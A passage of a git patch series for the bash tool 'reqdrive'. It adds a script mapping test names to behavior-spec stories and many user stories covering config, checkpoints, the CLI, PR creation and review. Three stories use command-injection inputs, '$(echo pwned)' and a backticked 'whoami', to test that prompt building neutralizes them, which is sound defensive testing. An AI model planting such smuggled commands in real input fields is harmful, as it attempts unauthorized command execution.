**Then** it returns 1. ### US-CFG-12: get_req_file — respects custom requirementsDir +**Test:** `get_req_file: respects custom requirementsDir` + **As** a pipeline runner, **When** the manifest sets `"requirementsDir": "specs"` and `specs/REQ-05-custom.md` exists, **Then** `reqdrive_get_req_file "REQ-05"` finds it. diff --git a/tests/spec-map.sh b/tests/spec-map.sh new file mode 100644 index 0000000..864ad0b --- /dev/null +++ b/tests/spec-map.sh @@ -0,0 +1,75 @@ +#!/usr/bin/env bash +# Verify every runtime test name maps to exactly one BEHAVIOR-SPEC story. +# +# Usage: bash tests/spec-map.sh [--list] +# (no args) validate; exit 0 only if the mapping is total and unambiguous +# --list print "NAMESTORY" for every mapped name +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SPEC="$SCRIPT_DIR/BEHAVIOR-SPEC.md" +MODE="${1:-validate}" + +WORK=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$WORK" ] && [ -d "$WORK" ] || { echo "FATAL: bad WORK" >&2; exit 1; } +trap 'rm -rf "$WORK"' EXIT + +# Runtime names, from an actual run. Strip ANSI, match the three verdicts, +# split on the FIRST ": " only, drop the trailing " (reason)" from SKIP lines. +bash "$SCRIPT_DIR/simple-test.sh" 2>&1 \ + | sed 's/\x1b\[[0-9;]*m//g' \ + | grep -E '^(PASS|FAIL|SKIP): ' \ + | while IFS= read -r line; do + verdict="${line%%: *}" + name="${line#*: }" + [ "$verdict" = "SKIP" ] && name="${name% (*}" + printf '%s\n' "$name" + done | sort -u > "$WORK/runtime.txt" + +# Story -> test-name pairs, from the spec. +awk ' + /^### US-[A-Z]+-[0-9]+:/ { story = $2; sub(/:$/, "", story); next } + /^\*\*Test:\*\* / { + if (story == "") next + line = $0 + sub(/^\*\*Test:\*\* /, "", line) + gsub(/^`|`$/, "", line) + printf "%s\t%s\n", line, story + story = "" + } +' "$SPEC" | sort > "$WORK/mapped.txt" + +cut -f1 "$WORK/mapped.txt" | sort > "$WORK/mapped-names.txt" + +if [ "$MODE" = "--list" ]; then + cat "$WORK/mapped.txt" + exit 0 +fi + +rc=0 + +unmapped=$(comm -23 "$WORK/runtime.txt" "$WORK/mapped-names.txt") +if [ -n "$unmapped" ]; then + echo "UNMAPPED — these tests ran but have no story:" >&2 + printf '%s\n' "$unmapped" | sed 's/^/ /' >&2 + rc=1 +fi + +phantom=$(comm -13 "$WORK/runtime.txt" "$WORK/mapped-names.txt") +if [ -n "$phantom" ]; then + echo "PHANTOM — these stories name a test that did not run:" >&2 + printf '%s\n' "$phantom" | sed 's/^/ /' >&2 + rc=1 +fi + +dupes=$(cut -f1 "$WORK/mapped.txt" | uniq -d) +if [ -n "$dupes" ]; then + echo "AMBIGUOUS — these test names are claimed by more than one story:" >&2 + printf '%s\n' "$dupes" | sed 's/^/ /' >&2 + rc=1 +fi + +total=$(wc -l < "$WORK/runtime.txt" | tr -d ' ') +mapped=$(wc -l < "$WORK/mapped-names.txt" | tr -d ' ') +echo "spec-map: $mapped of $total runtime test names mapped" +exit "$rc" From 41989a9fda18c6acd58c02560c7c2e9e5fac903c Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 12:35:35 -0600 Subject: [PATCH 11/47] docs(spec): add Module 5 behavior stories for run.sh 30 assertions covering run state, checkpoints, story selection, prompt builders, the completion hook, iteration-summary extraction and implementation-prompt sanitization had tests but no written criterion. Also fills 8 straggler assertions into the existing config.sh (US-CFG-14..19) and schema.sh (US-SCH-33..34) sections. spec-map.sh mapped count: 86 -> 124, zero PHANTOM, zero AMBIGUOUS. --- tests/BEHAVIOR-SPEC.md | 270 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 270 insertions(+) diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index ff088c5..41f906d 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -256,6 +256,20 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** a story has `passes` as a string instead of a boolean, **Then** `validate_prd_schema` returns 1 with a specific type error. +### US-SCH-33: PRD schema — rejects non-number priority +**Test:** `schema: validate_prd_schema rejects non-number priority` + +**As** a validator, +**When** a story has `priority` as the string `"high"` instead of a number, +**Then** `validate_prd_schema` returns 1 and prints "priority must be a number". + +### US-SCH-34: PRD schema — priority is optional +**Test:** `schema: validate_prd_schema passes when priority is missing` + +**As** a validator, +**When** a story has no `priority` field at all, +**Then** `validate_prd_schema` returns 0 (priority is optional). + ### US-SCH-20: Checkpoint schema — valid checkpoint passes **Test:** `schema: validate_checkpoint_schema passes for valid checkpoint` @@ -586,6 +600,41 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** the manifest has `"prLabels": ["a", "b", "c"]`, **Then** `REQDRIVE_PR_LABELS` is set to `"a,b,c"`. +### US-CFG-14: load_config — defaults prLabels when omitted +**Test:** `load_config: defaults prLabels to agent-generated` + +**As** a pipeline runner, +**When** I call `reqdrive_load_config` on a manifest with no `prLabels` field, +**Then** `REQDRIVE_PR_LABELS` is set to `"agent-generated"`. + +### US-CFG-15: load_config — defaults testCommand when omitted +**Test:** `load_config: defaults testCommand to empty string` + +**As** a pipeline runner, +**When** I call `reqdrive_load_config` on a manifest with no `testCommand` field, +**Then** `REQDRIVE_TEST_COMMAND` is set to `""`. + +### US-CFG-16: load_config — defaults maxStoryRetries to 3 +**Test:** `load_config: defaults maxStoryRetries to 3` + +**As** a pipeline runner, +**When** I call `reqdrive_load_config` on a manifest with no `maxStoryRetries` field, +**Then** `REQDRIVE_MAX_STORY_RETRIES` is set to `"3"`. + +### US-CFG-17: load_config — loads custom maxStoryRetries +**Test:** `load_config: loads custom maxStoryRetries` + +**As** a pipeline runner, +**When** the manifest has `"maxStoryRetries": 5`, +**Then** `REQDRIVE_MAX_STORY_RETRIES` is set to `"5"`. + +### US-CFG-18: load_config — defaults projectName when omitted +**Test:** `load_config: defaults projectName to empty string` + +**As** a pipeline runner, +**When** I call `reqdrive_load_config` on a manifest with no `projectName` field, +**Then** `REQDRIVE_PROJECT_NAME` is set to `""`. + ### US-CFG-08: load_config — exits on missing manifest **Test:** `load_config: exits with error when no manifest` @@ -614,9 +663,230 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** I call `reqdrive_get_req_file "REQ-99"` and no matching file exists, **Then** it returns 1. +### US-CFG-19: get_req_file — returns full path to matched file +**Test:** `get_req_file: returns full path to matched file` + +**As** a pipeline runner, +**When** I call `reqdrive_get_req_file "REQ-02"` and `docs/requirements/REQ-02-another-feature.md` exists, +**Then** the returned path ends with `REQ-02-another-feature.md`. + ### US-CFG-12: get_req_file — respects custom requirementsDir **Test:** `get_req_file: respects custom requirementsDir` **As** a pipeline runner, **When** the manifest sets `"requirementsDir": "specs"` and `specs/REQ-05-custom.md` exists, **Then** `reqdrive_get_req_file "REQ-05"` finds it. + +--- + +## Module 5: run.sh + +### US-RUN-01: write_run_status — creates valid run.json with all fields +**Test:** `run_status: creates valid run.json with all fields` + +**As** a pipeline runner, +**When** I call `write_run_status` with a run directory, status `"running"`, and req ID `"REQ-01"`, +**Then** `run.json` exists and its `.status` is `"running"`, `.req_id` is `"REQ-01"`, `.pid` contains digits, and `.started_at` is non-empty. + +### US-RUN-02: write_run_status — preserves started_at across calls +**Test:** `run_status: preserves started_at on subsequent calls` + +**As** a status reporter, +**When** `write_run_status` is called a second time on the same run directory (with status `"completed"`, iteration 5, exit code 0), +**Then** `.started_at` in `run.json` is unchanged from the first call's value. + +### US-RUN-03: write_run_status — records the writing process's PID +**Test:** `run_status: records current PID` + +**As** a status reporter, +**When** `write_run_status` writes `run.json`, +**Then** the `.pid` field equals `$$`, the PID of the process that wrote it. + +### US-RUN-04: write_run_status — includes summary when accumulators are set +**Test:** `run_status: includes summary when RUN_SUMMARY_* vars set` + +**As** a pipeline runner, +**When** the `RUN_SUMMARY_*` variables (iterations, tests passed/failed, commits verified/missing, stories completed/failed/total, verification passed) are set before calling `write_run_status`, +**Then** `run.json`'s `.summary.iterations_run`, `.summary.tests_passed`, `.summary.tests_failed`, `.summary.commits_verified`, `.summary.commits_missing`, `.summary.stories_completed`, `.summary.stories_total`, and `.summary.verification_passed` each equal the corresponding `RUN_SUMMARY_*` value. + +### US-RUN-05: write_run_status — summary is null when accumulators are unset +**Test:** `run_status: summary is null when accumulators not set` + +**As** a pipeline runner, +**When** `RUN_SUMMARY_ITERATIONS` (and the other accumulators) are unset before calling `write_run_status`, +**Then** `.summary` in `run.json` is the JSON literal `null`. + +### US-RUN-06: write_run_status — summary output is valid JSON +**Test:** `run_status: run.json with summary is valid JSON` + +**As** a pipeline runner, +**When** `write_run_status` writes `run.json` with the `RUN_SUMMARY_*` accumulators populated, +**Then** `jq empty run.json` succeeds — the file parses as valid JSON. + +### US-RUN-07: save_checkpoint — creates valid checkpoint.json +**Test:** `checkpoint: save_checkpoint creates valid checkpoint.json` + +**As** a pipeline runner, +**When** I call `save_checkpoint` with req ID `"REQ-01"`, branch `"reqdrive/req-01"`, and iteration `3`, +**Then** `checkpoint.json` exists with `.req_id` containing `"REQ-01"`, `.branch` containing `"reqdrive/req-01"`, and `.iteration` equal to `"3"`. + +### US-RUN-08: save_checkpoint — records completed story IDs from the PRD +**Test:** `checkpoint: records completed story IDs from PRD` + +**As** a pipeline runner, +**When** `save_checkpoint` runs against a PRD where only `US-001` has `"passes": true`, +**Then** `checkpoint.json`'s `.stories_complete[0]` is `"US-001"` and `.stories_complete` has length `1`. + +### US-RUN-09: load_checkpoint — returns the path for a matching req_id +**Test:** `checkpoint: load returns path for matching req_id` + +**As** a pipeline runner, +**When** I call `load_checkpoint` on a directory whose `checkpoint.json` has `"req_id": "REQ-01"`, passing `"REQ-01"`, +**Then** the result is non-empty and ends in `checkpoint.json`. + +### US-RUN-10: load_checkpoint — returns empty for a mismatched req_id +**Test:** `checkpoint: load returns empty for mismatched req_id` + +**As** a pipeline runner, +**When** I call `load_checkpoint` on a directory whose `checkpoint.json` has `"req_id": "REQ-01"`, passing `"REQ-99"`, +**Then** the result is empty. + +### US-RUN-11: load_checkpoint — returns empty when the file is missing +**Test:** `checkpoint: load returns empty for missing file` + +**As** a pipeline runner, +**When** I call `load_checkpoint` on a directory with no `checkpoint.json`, +**Then** the result is empty. + +### US-RUN-12: save_checkpoint — includes last_commit_sha +**Test:** `checkpoint: save_checkpoint includes last_commit_sha` + +**As** a pipeline runner, +**When** `save_checkpoint` runs inside a git repository with at least one commit, +**Then** `checkpoint.json`'s `.last_commit_sha` is non-empty and not the literal string `"null"`. + +### US-RUN-13: select_next_story — returns the lowest-priority incomplete story +**Test:** `story: select_next_story returns lowest-priority incomplete` + +**As** the pipeline orchestrator, +**When** the PRD has `US-001` (priority 1, `passes: true`), `US-002` (priority 2, `passes: false`), and `US-003` (priority 3, `passes: false`), +**Then** `select_next_story` returns `"US-002"` — the lowest-priority-number story that has not yet passed. + +### US-RUN-14: select_next_story — returns empty when every story passes +**Test:** `story: select_next_story returns empty when all pass` + +**As** the pipeline orchestrator, +**When** every story in the PRD has `"passes": true`, +**Then** `select_next_story` returns an empty string. + +### US-RUN-15: select_next_story — returns empty for a missing PRD file +**Test:** `story: select_next_story returns empty for missing PRD` + +**As** the pipeline orchestrator, +**When** `select_next_story` is called with a path to a PRD file that does not exist, +**Then** it returns an empty string (no error). + +### US-RUN-16: get_story_details — returns the correct story by ID +**Test:** `story: get_story_details returns correct story by ID` + +**As** the pipeline orchestrator, +**When** I call `get_story_details` with `"US-002"` against a PRD containing `US-001` ("First Story") and `US-002` ("Second Story"), +**Then** the returned JSON's `.title` is `"Second Story"`. + +### US-RUN-17: select_next_story — skips stories with attempts at or above the max +**Test:** `story: select_next_story skips stories with attempts >= max` + +**As** the pipeline orchestrator, +**When** the PRD has `US-001` (priority 1, `attempts: 3`) and `US-002` (priority 2, `attempts: 1`), and `select_next_story` is called with max `3`, +**Then** it returns `"US-002"`, skipping `US-001` whose `attempts` (3) is not less than the max (3). + +### US-RUN-18: select_next_story — returns a story with attempts below the max +**Test:** `story: select_next_story returns story with attempts < max` + +**As** the pipeline orchestrator, +**When** the PRD has `US-001` (priority 1, `attempts: 2`) and `US-002` (priority 2, no `attempts` field), and `select_next_story` is called with max `3`, +**Then** it returns `"US-001"` — its attempts (2) are below the max, and it has the lower priority number. + +### US-RUN-19: select_next_story — returns empty when all stories are exhausted or complete +**Test:** `story: select_next_story returns empty when all exhausted` + +**As** the pipeline orchestrator, +**When** the PRD has `US-001` (`passes: false`, `attempts: 3`) and `US-002` (`passes: true`), and `select_next_story` is called with max `3`, +**Then** it returns an empty string — the incomplete story has exhausted its retries and the other has already passed. + +### US-RUN-20: build_planning_prompt — includes the requirement content +**Test:** `prompt: build_planning_prompt includes requirement content` + +**As** a pipeline runner, +**When** I call `build_planning_prompt` with requirement text `"This is the requirement content."`, +**Then** the generated prompt file contains that text verbatim. + +### US-RUN-21: build_planning_prompt — includes the PRD schema +**Test:** `prompt: build_planning_prompt includes PRD schema` + +**As** a pipeline runner, +**When** I call `build_planning_prompt`, +**Then** the generated prompt file contains both the literal string `"PRD Schema"` and `"userStories"`. + +### US-RUN-22: build_planning_prompt — preserves dollar signs in content +**Test:** `prompt: build_planning_prompt preserves dollar signs in content` + +**As** a pipeline runner, +**When** I call `build_planning_prompt` with requirement text `"Check $HOME variable"`, +**Then** the generated prompt file contains the literal text `$HOME` — the planning prompt's quoted heredoc does not expand it. + +### US-RUN-23: run_completion_hook — executes the configured command with env vars +**Test:** `hook: executes command with env vars` + +**As** a pipeline runner, +**When** `REQDRIVE_COMPLETION_HOOK` is set to a command that echoes `$REQ_ID $STATUS $PR_URL $BRANCH $EXIT_CODE`, and I call `run_completion_hook "REQ-01" "completed" "https://pr.url" "reqdrive/req-01" "0"`, +**Then** the hook's output contains `"REQ-01"`, `"completed"`, and `"https://pr.url"` — the function exports these as env vars for the hook command. + +### US-RUN-24: run_completion_hook — no-op when the hook is unset +**Test:** `hook: no-op when hook is empty` + +**As** a pipeline runner, +**When** `REQDRIVE_COMPLETION_HOOK` is `""` and I call `run_completion_hook`, +**Then** it returns success without running any command. + +### US-RUN-25: run_completion_hook — a failing hook does not propagate +**Test:** `hook: handles failing hook gracefully` + +**As** a pipeline runner, +**When** `REQDRIVE_COMPLETION_HOOK` is set to `"exit 42"` and I call `run_completion_hook`, +**Then** `run_completion_hook` itself still returns success — the hook's non-zero exit does not abort the caller. + +### US-RUN-26: extract_iteration_summary — extracts a valid summary block +**Test:** `summary: extract_iteration_summary extracts valid block` + +**As** a pipeline runner, +**When** the agent output contains a fenced ` ```json:iteration-summary ` block with `"storyId": "US-003"`, +**Then** `iteration-1.summary.json` is created and its `.storyId` is `"US-003"`. + +### US-RUN-27: extract_iteration_summary — handles output with no summary block +**Test:** `summary: handles missing summary gracefully` + +**As** a pipeline runner, +**When** the agent output contains no ` ```json:iteration-summary ` block, +**Then** `extract_iteration_summary` does not create `iteration-1.summary.json`. + +### US-RUN-28: build_implementation_prompt — neutralizes $(cmd) in the story title +**Test:** `impl prompt: neutralizes $(cmd) in story title` + +**As** a pipeline runner, +**When** a story's `title` is `$(echo pwned)` and I call `build_implementation_prompt`, +**Then** the prompt file contains the literal (unexpanded) text `$(echo pwned)` and the word `pwned` never appears alone on its own line — the command substitution was never executed. + +### US-RUN-29: build_implementation_prompt — neutralizes backticks in the story description +**Test:** `impl prompt: neutralizes backticks in story description` + +**As** a pipeline runner, +**When** a story's `description` is `` Use `whoami` to attack `` and I call `build_implementation_prompt`, +**Then** the prompt file contains no raw `` `whoami` `` backtick sequence, but does contain the sanitized text `Use 'whoami' to attack` and the title line `**Title:** Safe title`. + +### US-RUN-30: build_implementation_prompt — neutralizes ${VAR} in acceptance criteria +**Test:** `impl prompt: neutralizes ${VAR} in acceptance criteria` + +**As** a pipeline runner, +**When** a story's `acceptanceCriteria` includes `"Check ${HOME} variable"` and I call `build_implementation_prompt`, +**Then** the prompt file does not contain the actual expanded `$HOME` path, but does contain the literal escaped text `Check \${HOME} variable` and `US-003`. From 386a61146fefdf2ea25bac6151eb738c137b684d Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 12:48:08 -0600 Subject: [PATCH 12/47] docs(spec): add Module 6 behavior stories for the CLI Marks the two claude-gated stories explicitly - they run as test_result where claude is installed and as test_skip under the same name where it is not. --- tests/BEHAVIOR-SPEC.md | 97 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 97 insertions(+) diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 41f906d..267276d 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -890,3 +890,100 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a pipeline runner, **When** a story's `acceptanceCriteria` includes `"Check ${HOME} variable"` and I call `build_implementation_prompt`, **Then** the prompt file does not contain the actual expanded `$HOME` path, but does contain the literal escaped text `Check \${HOME} variable` and `US-003`. + +--- + +## Module 6: bin/reqdrive (CLI) + +### US-CLI-01: --version prints the schema version +**Test:** `cli: --version shows 0.3.0` + +**As** a CLI user, +**When** I run `reqdrive --version`, +**Then** the output contains the string `0.3.0`. + +### US-CLI-02: --help prints command usage +**Test:** `cli: --help shows usage` + +**As** a CLI user, +**When** I run `reqdrive --help`, +**Then** the output contains `Usage:` and mentions the `init`, `run`, and `validate` commands. + +### US-CLI-03: --help lists the security-related flags +**Test:** `cli: --help shows security flags` + +**As** a CLI user, +**When** I run `reqdrive --help`, +**Then** the output contains the flags `--interactive`, `--unsafe`, `--force`, and `--resume`. + +### US-CLI-04: Unknown command prints an error message +**Test:** `cli: unknown command shows error` + +**As** a CLI user, +**When** I run `reqdrive unknown-cmd`, +**Then** the output contains the message `Unknown command`. + +### US-CLI-05: validate reports a passing manifest +**Test:** `cli: validate command works` + +**As** a CLI user, +**When** I run `reqdrive validate` against a project with a valid `reqdrive.json` and an existing `requirementsDir`, +**Then** the output contains `Validation PASSED`. + +### US-CLI-06: run requires a REQ-ID argument +**Test:** `cli: run requires REQ-ID argument` +**Environment:** requires the `claude` binary; skipped under the same test name when absent. + +**As** a CLI user, +**When** I run `reqdrive run` with no REQ-ID argument, +**Then** the output contains `Usage: reqdrive run`. + +### US-CLI-07: status with no runs reports none found +**Test:** `cli: status with no runs shows 'No runs found'` + +**As** a CLI user, +**When** I run `reqdrive status` in a project with a valid `reqdrive.json` and no `.reqdrive/runs/` entries, +**Then** the output contains `No runs found`. + +### US-CLI-08: status with a run.json prints its status fields +**Test:** `cli: status with run.json shows status fields` + +**As** a CLI user, +**When** I run `reqdrive status` and `.reqdrive/runs/req-01/run.json` exists with `req_id: "REQ-01"` and `status: "completed"`, +**Then** the output contains both `REQ-01` and `completed`. + +### US-CLI-09: logs with no log file reports an error +**Test:** `cli: logs with missing log file shows error` + +**As** a CLI user, +**When** I run `reqdrive logs REQ-01` and no `output.log` exists for that run, +**Then** the output contains `No log file found`. + +### US-CLI-10: migrate adds a version field to a versionless config +**Test:** `cli: migrate adds version to versionless config` + +**As** a CLI user, +**When** I run `reqdrive migrate` against a `reqdrive.json` with no `version` field, +**Then** the output contains `Updated: reqdrive.json` and the config's `.version` field is set to `0.3.0`. + +### US-CLI-11: migrate skips a config that already has a version +**Test:** `cli: migrate skips config that already has version` + +**As** a CLI user, +**When** I run `reqdrive migrate` against a `reqdrive.json` that already has `"version":"0.3.0"`, +**Then** the output contains `Skipped: reqdrive.json`. + +### US-CLI-12: plan requires a REQ-ID argument +**Test:** `cli: plan without args shows usage` +**Environment:** requires the `claude` binary; skipped under the same test name when absent. + +**As** a CLI user, +**When** I run `reqdrive plan` with no REQ-ID argument, +**Then** the output contains `Usage: reqdrive plan`. + +### US-CLI-13: orchestrate reports it is not yet implemented +**Test:** `cli: orchestrate shows 'coming soon'` + +**As** a CLI user, +**When** I run `reqdrive orchestrate`, +**Then** the output contains the case-insensitive phrase `coming soon`. From 07147d890832ef865501eb6f7d18021ed15f74bb Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 12:56:01 -0600 Subject: [PATCH 13/47] docs(spec): complete behavior spec - all 158 tests mapped Modules 7-11 (preflight, pr-create, init, review phase, validate + harness) close the remaining gap. spec-map.sh now exits 0: every runtime test name maps to exactly one story, with no phantom or ambiguous entries. Also fixes a stray leading digit and stale module count in the file header. --- tests/BEHAVIOR-SPEC.md | 169 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 168 insertions(+), 1 deletion(-) diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 267276d..0c73361 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1,4 +1,4 @@ -1# reqdrive Behavior Specification (Modules 1-4) +# reqdrive Behavior Specification Behavioral contract for the core library modules, expressed as user stories. Each story maps to one or more tests in `tests/simple-test.sh`. @@ -987,3 +987,170 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a CLI user, **When** I run `reqdrive orchestrate`, **Then** the output contains the case-insensitive phrase `coming soon`. + +--- + +## Module 7: preflight.sh + +### US-PRE-01: check_git_repo fails outside a git repository +**Test:** `preflight: check_git_repo fails outside repo` + +**As** a preflight checker, +**When** I call `check_git_repo` from a directory with no `.git`, +**Then** it returns non-zero. + +### US-PRE-02: check_clean_working_tree passes on a clean repo +**Test:** `preflight: check_clean_working_tree passes on clean repo` + +**As** a preflight checker, +**When** I call `check_clean_working_tree` in a repo with a committed file and no pending changes, +**Then** it returns 0. + +### US-PRE-03: check_clean_working_tree fails on a dirty repo +**Test:** `preflight: check_clean_working_tree fails on dirty repo` + +**As** a preflight checker, +**When** I call `check_clean_working_tree` in a repo with an uncommitted modification, +**Then** it returns non-zero. + +### US-PRE-04: check_base_branch_exists passes for a local branch +**Test:** `preflight: check_base_branch_exists passes for local branch` + +**As** a preflight checker, +**When** I call `check_base_branch_exists` with the name of the currently checked-out local branch, +**Then** it returns 0. + +### US-PRE-05: check_requirements_dir passes when the dir has .md files +**Test:** `preflight: check_requirements_dir passes with .md files` + +**As** a preflight checker, +**When** I call `check_requirements_dir` on a directory that exists and contains at least one `.md` file, +**Then** it returns 0. + +### US-PRE-06: check_requirement_exists finds a matching requirement file +**Test:** `preflight: check_requirement_exists finds matching file` + +**As** a preflight checker, +**When** I call `check_requirement_exists "REQ-01"` against a requirements directory containing `REQ-01-test-feature.md`, +**Then** it returns 0. + +--- + +## Module 8: pr-create.sh + +### US-PR-01: create_pr writes the PR URL to stdout +**Test:** `pr: create_pr outputs URL to stdout` + +**As** a pipeline runner, +**When** I call `create_pr` and the (mocked) `gh pr create` succeeds, +**Then** `create_pr`'s stdout contains the PR URL (`https://github.com/test/repo/pull/42`). + +### US-PR-02: create_pr retries without labels when the labeled attempt fails +**Test:** `pr: create_pr retries without labels on failure` + +**As** a pipeline runner, +**When** `REQDRIVE_PR_LABELS` is set and the first `gh pr create` attempt (with labels) fails, +**Then** `create_pr` retries `gh pr create` without labels, and its stdout contains the PR URL from the successful retry (`https://github.com/test/repo/pull/99`). + +### US-PR-03: create_pr returns non-zero when gh fails with no labels to drop +**Test:** `pr: create_pr returns non-zero on gh failure without labels` + +**As** a pipeline runner, +**When** `REQDRIVE_PR_LABELS` is empty and `gh pr create` fails, +**Then** `create_pr` returns non-zero (there is no unlabeled retry left to attempt). + +### US-PR-04: PR body includes the verification section when a summary exists +**Test:** `pr: body includes verification section from summary` + +**As** a pipeline runner, +**When** `verification-summary.json` exists in the run directory and I call `create_pr`, +**Then** the PR body passed to `gh pr create` contains a "Pipeline Verification" heading, along with `"2 / 3 completed"` (stories) and `"5 / 10 used"` (iterations) drawn from the summary. + +### US-PR-05: PR body omits the verification section when no summary exists +**Test:** `pr: body omits verification section when no summary file` + +**As** a pipeline runner, +**When** no `verification-summary.json` exists in the run directory and I call `create_pr`, +**Then** the PR body passed to `gh pr create` does not contain "Pipeline Verification". + +--- + +## Module 9: init.sh + +### US-INIT-01: init creates reqdrive.json with version 0.3.0 +**Test:** `init: creates reqdrive.json with version 0.3.0` + +**As** a CLI user, +**When** I run the init wizard accepting the default answer at every prompt, +**Then** `reqdrive.json` is created and its `.version` field is `0.3.0`. + +### US-INIT-02: init creates the .reqdrive/runs directory +**Test:** `init: creates .reqdrive/runs/ directory` + +**As** a CLI user, +**When** I run the init wizard accepting the default answer at every prompt, +**Then** a `.reqdrive/runs` directory is created. + +--- + +## Module 10: review phase + +### US-REV-01: load_config defaults reviewCommand to empty string +**Test:** `review: config defaults reviewCommand to empty string` + +**As** a pipeline runner, +**When** I call `reqdrive_load_config` on a manifest with no `reviewCommand` field, +**Then** `REQDRIVE_REVIEW_COMMAND` is set to `""`. + +### US-REV-02: load_config reads reviewCommand from the manifest +**Test:** `review: config reads reviewCommand from JSON` + +**As** a pipeline runner, +**When** the manifest has `"reviewCommand": "builtin"` and I call `reqdrive_load_config`, +**Then** `REQDRIVE_REVIEW_COMMAND` is set to `"builtin"`. + +### US-REV-03: Config schema accepts a string reviewCommand +**Test:** `review: schema accepts string reviewCommand` + +**As** a validator, +**When** I call `validate_config_schema` on a file where `reviewCommand` is a string, +**Then** it returns 0. + +### US-REV-04: Config schema rejects a non-string reviewCommand +**Test:** `review: schema rejects non-string reviewCommand` + +**As** a validator, +**When** I call `validate_config_schema` on a file where `reviewCommand` is a number, +**Then** it returns 1 and prints "reviewCommand must be a string". + +### US-REV-05: update_pr_with_review formats findings into the PR body +**Test:** `review: update_pr_with_review formats findings correctly` + +**As** a pipeline runner, +**When** I call `update_pr_with_review` against a `review-findings.json` containing findings with `severity`, `file`, and `message` fields, +**Then** the updated PR body (passed to `gh pr edit --body`) contains a "Code Review Findings" heading and includes each finding's message (e.g. "Missing null check") and severity (e.g. "warning"). + +--- + +## Module 11: validate + harness + +### US-VAL-01: validate reports PASSED for a valid manifest +**Test:** `validate: passes for valid manifest` + +**As** a CLI user, +**When** I source `validate.sh` against a loaded config with a valid `reqdrive.json` and an existing `requirementsDir`, +**Then** the output contains "Validation PASSED". + +### US-VAL-02: validate exits non-zero for invalid JSON +**Test:** `validate: fails for invalid JSON` + +**As** a CLI user, +**When** `reqdrive.json` contains invalid JSON and I source `validate.sh`, +**Then** it exits with a non-zero status. + +### US-HARN-01: Suite refuses to run when mktemp fails +**Test:** `harness: aborts when mktemp fails` + +**As** a test runner, +**When** `mktemp -d` fails and the suite is invoked, +**Then** it prints `FATAL: mktemp failed` and exits non-zero before any assertion runs, so no assertion can operate on an empty `TEST_TEMP`. From a18d345e7d31f01445dcc633a930d41846e657b7 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 12:58:03 -0600 Subject: [PATCH 14/47] docs(findings): record measured pure-negative count (F4) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plan Task 9 Step 5 — the P1 exit criterion to reproduce F4's count. Measured 18 pure-negative assertions (plan estimated ~21; Task 4's conversion of two negations to if/exit form accounts for part of the gap). --- tests/FINDINGS.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index 68e26e4..01d0e81 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -15,7 +15,7 @@ so it cannot detect a silent defect. | F1 | `tests/simple-test.sh` implementation-prompt assertions | Two were pure negatives satisfied by an empty prompt file. | **Fixed** — Task 4 added positive content checks (silent mutant now caught by 3 of 3), but this made the two `! grep` negations non-terminal in their subshells; under `set -e`, bash exempts `!`-prefixed commands from errexit, so a violated negative was silently masked and reported PASS. Follow-up commit converts both to `if grep …; then exit 1; fi` guards, which participate in errexit regardless of position. Verified via `tests/mutate.sh` (`impl-prompt-silent`, `impl-prompt-return1`) and a scratch-copy masking proof. | | F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open | | F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open | -| F4 | Suite-wide | ~21 assertions end in a pure negative and cannot detect setup failure. Exact count to be reproduced during P1. | Open | +| F4 | Suite-wide | **18 assertions** end in a pure negative (`!` or `[ -z ]`) and cannot detect a setup failure. Measured 2026-07-23 with `awk '/^ *\($/{buf="";inb=1;next} /^ *\)$/{if(inb)print buf;inb=0;next} inb{buf=$0}' tests/simple-test.sh \| grep -cE '^\s*(!\|\[ -z )'`. (Down from a higher count after Task 4 converted two impl-prompt negations to `if grep; then exit 1; fi`.) | Open — triage at Task 35 | | F5 | `tests/simple-test.sh:346-356` | The `reqdrive validate` assertion checks only `-ne 0`, so it does not pin the exit code. | Closed by Task 31 | ## Closed From 13497c73d47b2a74608c2eb22beaad993b494a61 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 13:15:20 -0600 Subject: [PATCH 15/47] test: add oracle gate parser and lock generator Runtime names come from a real suite run; the parser strips ANSI and splits on the first ': ' only, because all 158 names contain ': ' themselves. Integrity comes from whole-file hashes of the suite and the gate. --- .github/workflows/ci.yml | 2 +- tests/oracle-gate.sh | 79 +++++ tests/oracle.lock.json | 645 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 725 insertions(+), 1 deletion(-) create mode 100644 tests/oracle-gate.sh create mode 100644 tests/oracle.lock.json diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 5923696..0cc1c3f 100644 --- 